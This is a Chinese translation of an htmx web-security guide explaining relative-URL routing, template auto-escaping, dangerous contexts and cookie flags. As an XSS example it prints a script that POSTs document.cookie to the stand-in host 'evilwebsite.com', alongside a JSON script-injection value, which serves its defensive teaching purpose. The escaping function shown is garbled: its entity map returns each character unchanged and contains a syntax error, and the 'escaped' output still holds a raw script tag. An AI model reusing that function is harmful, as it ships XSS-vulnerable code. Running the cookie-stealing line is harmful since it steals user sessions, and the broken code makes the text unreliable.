随着 htmx 的流行度不断提高,它已经触及到那些从未编写过服务器生成 HTML 的社区。动态 HTML 模板化曾经是,而且仍然是,许多流行 Web 框架的标准使用方式——如 Rails、Django 和 Spring——但对于那些来自单页应用 (SPA) 框架的开发者来说——如 React 和 Svelte——其中 JSX 的普遍使用意味着你从未直接编写 HTML,这是一个新颖的概念。
但别担心!使用 HTML 模板编写 Web 应用是一种略有不同的安全模型,但它并不比保护基于 JSX 的应用更难,在某些方面甚至更容易得多。
这些是使用 htmx 的 Web 安全基础,但它们(大部分)并非 htmx 特有的——如果你在 Web 上放置任何动态、用户生成的内容,这些概念都非常重要。
对于本指南,你应该已经基本掌握 Web 的语义,并且熟悉如何编写后端服务器(任何语言)。例如,你应该知道不要创建可以更改后端状态的 GET 路由。我们还假设你不会做任何超级复杂的事情,比如构建一个托管他人网站的服务。如果你要做类似的事情,你需要注意的安全概念远远超出本指南的范围。
我们做出这些简化假设是为了针对尽可能广泛的受众,而不包含令人分心的信息——显然这无法涵盖所有人。没有哪份安全指南是完美全面的。如果你觉得有错误,或者我们应该提到的明显陷阱,请联系我们,我们会更新它。
遵循这四个简单规则,你将遵循客户端安全最佳实践:
Secure、HttpOnly 和 SameSite=Lax 设置它们在接下来的部分中,我将讨论这些规则各自的作用,以及它们防止何种攻击。对于绝大多数 htmx 用户——那些使用 htmx 构建允许用户登录、查看数据并更新数据的网站——他们永远没有理由违反这些规则。
稍后我会讨论如何违反其中一些规则。许多有用的应用可以在这些约束下构建,但如果你确实需要更高级的行为,你将完全意识到这会增加保护应用的负担概念。同时,你也会在过程中学到很多关于 Web 安全的知识。
这是最基本的,也是最重要的:不要使用 htmx 调用不受信任的路由。
在实践中,这意味着你应该仅使用相对 URL。这没问题:
<button hx-get="/events">Search events</button>
但这个不行:
<button hx-get="https://google.com/search?q=events">Search events</button>
原因很简单:htmx 会将该路由的响应直接插入到用户的页面中。如果响应中包含恶意 <script>,该脚本可以窃取用户的数据。当你不控制路由时,你无法保证控制该路由的人不会添加恶意脚本。
幸运的是,这是一个非常容易遵守的规则。超媒体 API(即 HTML)特定于你应用的布局,所以几乎从来没有理由你想要将别人的 HTML 插入到你的页面中。你只需确保仅调用自己的路由(htmx 2 将默认禁用调用其他域)。
虽然如今不太流行,但一种常见的 SPA 模式是将前端和后端分离到不同的仓库中,有时甚至从不同的 URL 提供服务。这将需要在前台使用绝对 URL,并且通常禁用 CORS。使用 htmx(公平地说,现代 React 与 Next.js 也是如此)这是一种反模式。
相反,你只需从同一服务器(或至少同一域)提供你的 HTML 前端,其他一切都会顺理成章:你可以使用相对 URL,你永远不会遇到 CORS 问题,你也永远不会调用别人的后端。
htmx 执行 HTML;HTML 是代码;永远不要执行不受信任的代码。
当你向用户发送 HTML 时,所有动态内容都必须被转义。使用模板引擎构建你的响应,并确保自动转义已开启。
幸运的是,所有模板引擎都支持转义 HTML,并且大多数默认启用。下面只是一些示例。
| 语言 | 模板引擎 | 默认转义 HTML? |
|---|---|---|
| JavaScript | Nunjucks | 是 |
| JavaScript | EJS | 是,使用 <%= %> |
| Python | DTL | 是 |
| Python | Jinja | 有时(在 Flask 中是) |
| Ruby | ERB | 是,使用 <%= %> |
| PHP | Blade | 是 |
| Go | html/template | 是 |
| Java | Thymeleaf | 是 |
| Rust | Tera | 是 |
这种规则防止的漏洞通常被称为跨站脚本 (XSS) 攻击,这个术语广泛使用来表示将任何意外内容注入到你的网页中。通常,攻击者使用你的 API 将恶意代码存储到你的数据库中,然后你将这些信息提供给请求该信息的其他用户。
例如,假设你正在构建一个约会网站,它允许用户分享一些关于自己的简介。你会像这样渲染该简介,其中 {{ user.bio }} 是存储在数据库中的简介:
<p>
{{ user.bio }}
</p>
如果一个恶意用户编写了一个包含脚本元素的简介——比如一个将客户端 Cookie 发送到另一个网站的脚本——那么这个 HTML 将被发送给查看该简介的每个用户:
<p>
<script>
fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>
幸运的是,这很容易修复,你甚至可以自己编写代码。每当你插入不受信任(即用户提供)的数据时,你只需将八个字符替换为它们的非代码等价物。这是使用 JavaScript 的示例:
/**
* Replace any characters that could be used to inject a malicious script in an HTML context.
*/
export function escapeHtmlText (value) {
const stringValue = value.toString()
const entityMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/',
'`': '`',
'=': '='
}
// Match any of the characters inside /[ ... ]/
const regex = /[&<>"'`=/]/g
return stringValue.replace(regex, match => entityMap[match])
}
这个小小的 JS 函数将 < 替换为 <," 替换为 ",依此类推。这些字符在文本中使用时仍然会正确渲染为 < 和 ",但不能被解释为代码构造。先前的恶意简介现在将被转换为以下 HTML:
<p>
<script>
fetch('evilwebsite.com', { method: 'POST', data: document.cookie })
</script>
</p>
它会无害地显示为文本。
幸运的是,如上所述,你不必手动进行转义——我只是想演示这些概念有多简单。每个模板引擎都有自动转义功能,你反正要使用模板引擎。只需确保转义已启用,并将所有 HTML 通过它发送。
这是模板引擎规则的补充,但它足够重要,需要单独强调。即使使用你的自动转义模板引擎,也不要允许用户定义任意 CSS 或 JS 内容。
<!-- 不要在脚本标签内部包含 -->
<script>
const userName = {{ user.name }}
</script>
<!-- 不要在 CSS 标签内部包含 -->
<style>
h1 { color: {{ user.favorite_color }} }
</style>
而且,不要使用用户定义的属性或标签名:
<!-- 不要允许用户定义的标签名 -->
<{{ user.tag }}></{{ user.tag }}>
<!-- 不要允许用户定义的属性 -->
<a {{ user.attribute }}></a>
<!-- 用户定义的属性值有时可以,取决于情况 -->
<a class="{{ user.class }}"></a>
<!-- 转义内容在 HTML 标签内部始终安全(这是可以的) -->
<a>{{ user.name }}</a>
CSS、JavaScript 和 HTML 属性是“危险上下文”,这些地方不允许任意用户输入,即使是转义的。转义会保护你免受某些漏洞,但不是全部;这些漏洞多种多样,最安全的方法是默认不做任何这些事情。
直接将用户生成文本插入到脚本标签中应该永远不是必需的,但确实有一些情况,你可能允许用户自定义他们的 CSS 或自定义 HTML 属性。下面将讨论如何正确处理这些情况。
使用 htmx 进行认证的最佳方式是使用 Cookie。而且因为 htmx 主要通过第一方 HTML API 鼓励交互性,通常很容易启用浏览器最佳的 Cookie 安全功能。特别是这三个:
Secure - 仅通过 HTTPS 发送 Cookie,绝不通过 HTTPHttpOnly - 不要让 Cookie 通过 document.cookie 可用给 JavaScriptSameSite=Lax - 不允许其他站点使用你的 Cookie 进行请求,除非只是一个普通链接要理解这些保护你免受什么,让我们回顾一下基础。如果你来自 JavaScript SPA,在那里使用 Authorization 头进行认证很常见,你可能不熟悉 Cookie 的工作原理。幸运的是,它们非常简单。(请注意:这不是“使用 htmx 进行认证”教程,只是一般 Cookie 令牌的概述)
如果你的用户使用 <form> 登录,他们的浏览器会向你的服务器发送 HTTP 请求,你的服务器会发送回类似这样的响应:
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982
[HTML content]
该令牌对应用户当前的登录会话。从现在起,每次该用户向 yourdomain.com 的任何路由发出请求时,浏览器都会在 HTTP 请求中包含该 Set-Cookie 中的 Cookie。
GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982
每次有人向你的服务器发出请求时,它都需要解析该令牌并确定它是否有效。很简单。
你也可以为该 Cookie 设置选项,比如我上面推荐的那些。如何做取决于编程语言,但结果始终是一个看起来像这样的 HTTP 响应:
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax
[HTML content]
那么这些选项做什么?
第一个,Secure,确保浏览器不会通过不安全的 HTTP 连接发送 Cookie,只通过安全的 HTTPS 连接。敏感信息,如用户的登录令牌,绝不应该通过不安全的连接发送。
第二个选项,HttpOnly,意味着浏览器永远不会将 Cookie 暴露给 JavaScript(即它不会在document.cookie中)。即使有人能够插入恶意脚本,比如上面的 evilwebsite.com 示例,该恶意脚本也无法访问用户的 Cookie 或将其发送到 evilwebsite.com。浏览器只会在向 Cookie 来源网站发出请求时附加 Cookie。
最后,SameSite=Lax 锁定了一个跨站请求伪造 (CSRF) 攻击的途径,即攻击者试图让客户端浏览器向 yourdomain.com 服务器发出恶意请求——如 POST 请求。SameSite=Lax 设置告诉浏览器,如果发出请求的站点不是 yourdomain.com,则不发送 yourdomain.com Cookie——除非它是一个直接导航到你页面的 <a> 链接。这现在主要是浏览器默认行为,但直接设置它仍然很重要。
在 2024 年,SameSite=Lax 通常足够保护免受 CSRF,但对于更敏感或复杂的情况,你可以考虑额外的缓解措施。
重要提示: SameSite=Lax 只在域级别保护你,而不是子域级别(即 yourdomain.com,不是 yoursite.github.io)。如果你正在进行用户登录,你应该始终在生产环境中使用自己的域。有时公共后缀列表会保护你,但你不应该依赖它。
我们从最简单、最安全的实践开始——这样错误会导致 UX 崩溃,可以修复,而不是数据被窃取,无法修复。
一些 Web 应用需要更复杂的功能,具有更多用户自定义;它们也需要更复杂的安全机制。你只应该违反这些规则,如果你确信这是绝对必要的,并且期望的功能无法通过替代方式实现。
调用不受信任的 HTML API 是疯狂的。永远不要这样做。
有些情况下,你可能想从客户端调用别人的 JSON API,那是没问题的,因为 JSON 无法执行任意脚本。在那种情况下,你可能想对该数据做些什么,将其转换为 HTML。不要使用 htmx 来做那个——使用 fetch 和 JSON.parse();如果不受信任的 API 耍花招并返回 HTML 而不是 JSON,JSON.parse() 会无害地失败。
请记住,你解析的 JSON 可能有一个格式化为 HTML 的属性:
{ "name": "<script>alert('Hahaha I am a script')</script>" }
因此,不要将 JSON 值作为 HTML 插入——如果你要做类似的事情,使用 textContent。不过,这远远超出了 htmx 控制的 UI 范围。
htmx 的 2.0 版本将包含一个 textContent 交换,如果你想直接从客户端调用别人的 API 并将该文本放入页面。
与调用不受信任的 HTML 路由不同,有很多好理由让用户进行动态 HTML 格式的内容。
例如,如果你想让用户链接到一个图像呢?
<img src="{{ user.fav_img }}">
或者链接到他们的个人网站?
<a href="{{ user.fav_link }}">
默认的“转义一切”方法会转义正斜杠,因此会破坏用户提交的 URL。
你可以用几种方式修复这个问题。最简单、最安全的技巧是让用户自定义这些值,但不要让他们定义字面文本。在图像示例中,你可能将图像上传到自己的服务器(或 S3 存储桶之类),自己生成链接,然后不转义地包含它。在 nunjucks 中,你使用 safe 函数:
<img src="{{ user.fav_img_s3_url | safe }}">
是的,你正在包含未转义的内容,但这是一个你生成的链接,所以你知道它是安全的。
你可以用相同的方式处理自定义 CSS。与其让用户直接指定颜色,不如给他们一些有限的选择,并根据他们的输入设置选择。
{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}
在该示例中,用户可以将 favorite_color 设置为他们喜欢的任何值,但它永远不会是红或蓝之外的颜色。一个不太琐碎的示例可能确保只允许正确格式的十六进制代码输入,使用正则表达式。你懂的。
取决于你支持什么样的自定义,保护它可能相对容易,或者相当困难。有些属性是“安全接收器”,这意味着它们的值永远不会被解释为代码;这些很容易保护。如果你要在“危险上下文”中包含动态输入,你需要研究什么是那些上下文的危险之处,并确保那种输入不会进入文档。
例如,如果你想让用户链接到任意网站或图像,那会复杂得多。首先,确保将属性放在引号内(大多数人反正这么做)。然后你需要做类似编写自定义转义函数的事情,它转义一切除了正斜杠(可能还有 &),这样链接就能正常工作。
但即使你正确地做了这些,你也会引入一些新的安全挑战。该图像链接可以用来跟踪你的用户,因为你的用户会直接从别人的服务器请求它。也许你对此没问题,也许你包含其他缓解措施。重要的是,你意识到引入这种级别的自定义会带来更难的安全模型,如果你没有带宽去研究和测试它,你就不应该做它。
JavaScript SPA 有时通过将令牌保存到客户端的本地存储中进行认证,然后将其添加到每个请求的Authorization 头中。不幸的是,没有办法不使用 JavaScript 设置 Authorization 头,这不太安全;如果它可用给你的可信 JavaScript,它也可用给攻击者,如果他们设法将恶意脚本放到你的页面上。相反,使用 Cookie(带有上面的属性),它可以设置和保护,而无需触及 JavaScript。
为什么有 Authorization 头,但无法使用超媒体控件设置它?嗯,那只是 WHATWG 的荒谬遗漏小谜团之一。
如果你需要使用 Authorization 头来认证用户的客户端与你不控制的 API,在那种情况下,关于你不控制的路由的常规预防措施适用。
你还应该了解内容安全策略 (CSP),它使用 HTTP 头来设置关于你的页面允许运行的内容类型的规则。例如,你可以限制页面只从你的域加载图像,或者禁用内联脚本。
这不是黄金规则之一,因为它没有那么容易普遍应用。没有“一刀切”的 CSP。有些 htmx 应用使用内联脚本——hx-on 属性 是一个通用的属性监听器,可以评估任意脚本(尽管它可以被禁用,如果你不需要它)。有时内联脚本适合保留行为局部性,在足够防范 XSS 的应用中,有时内联脚本不是必需的,你可以采用更严格的 CSP。一切取决于你的应用的安全配置文件——你需要了解可用的选项并能够进行该分析。
你可能会合理地想:如果我在构建 SPA 时不必知道这些事情,htmx 不是在安全上倒退了吗?我们会挑战这个陈述的两个部分。
这篇文章不是为了捍卫 htmx 的安全属性,但有许多领域,超媒体应用默认比基于 JSON 的前端更安全。HTML API 只发送应该渲染的信息——意外数据在 JSON 响应中“隐藏”并泄露给用户要容易得多。超媒体 API 也不适合在客户端实现通用的查询语言,如 GraphQL,这需要大量更复杂的安全模型。各种缺陷隐藏在你应用的复杂性中;超媒体应用总体上较不复杂,因此更容易保护。
无论如何,如果你要在 Web 上放置动态内容,你都需要知道 XSS 攻击。一个不理解 XSS 如何工作的开发者不会理解使用 React 的dangerouslySetInnerHTML有什么危险——他们会在第一次需要渲染丰富的用户生成文本时就使用它。库的责任是让这些安全基础尽可能容易找到;学习并遵循它们一直是开发者的责任。
这篇文章的组织是为了让保护你的 htmx 应用成为“成功之坑”——遵循这些简单规则,你不太可能编码 XSS 漏洞。但不可能编写一个在拒绝学习任何安全知识的开发者手中安全的库,因为安全是关于控制对信息的访问,它始终是人类的工作,向计算机精确解释谁有权访问什么信息。
编写安全的 Web 应用很难。有大量与路由、数据库访问、HTML 模板化、业务逻辑等的简单陷阱。然而,如果安全只是安全专家的领域,那么只有安全专家应该制作 Web 应用。也许应该是这样!但如果只有安全专家在制作 Web 应用,他们肯定知道如何正确使用模板引擎,所以 htmx 对他们来说不成问题。
对于其他人: